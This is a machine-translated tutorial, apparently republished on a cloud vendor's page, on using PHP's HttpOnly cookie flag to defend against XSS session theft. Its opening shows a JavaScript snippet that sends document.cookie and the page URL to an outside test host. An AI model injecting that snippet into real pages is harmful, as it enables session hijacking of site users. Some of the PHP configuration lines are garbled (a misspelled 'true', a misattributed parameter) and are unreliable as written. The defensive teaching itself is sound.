XSS defense PHP uses httponly anti-XSS attack _php Instance

Source: Internet
Author: User
The concept of XSS does not have to say, its harm is great, which means that once your website has an XSS vulnerability, you can execute arbitrary JS code, the most frightening is the attacker to use JS to get a cookie or session hijacking, if this contains a lot of sensitive information (identity information, Administrator information) and so on ...

The following JS gets cookie information:

Copy the Code code as follows:
Url=document.top.location.href;
Cookie=document.cookie;
C=new Image ();
C.src= ' http://www.test.com/c.php?c= ' +cookie+ ' &u= ' +url;

The general cookie is obtained from the Document object, and now the browser generally accepts a parameter called HttpOnly when setting the cookie, as with other parameters such as domain, once the httponly is set, You don't see cookies in the browser's Document object.

PHP settings HttpOnly:

Copy the Code code as follows:
In php.ini, session.cookie_httponly = ture to turn on the HttpOnly property of the global cookie
Ini_set ("Session.cookie_httponly", 1);

or the seventh parameter of Setcookie () is set to True
Session_set_cookie_params (0, NULL, NULL, NULL, TRUE);

For PHP5.1 Previous versions of PHP through:

Copy the Code code as follows:
Header ("Set-cookie:hidden=value; HttpOnly ");

In the end, HttpOnly is not omnipotent!

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.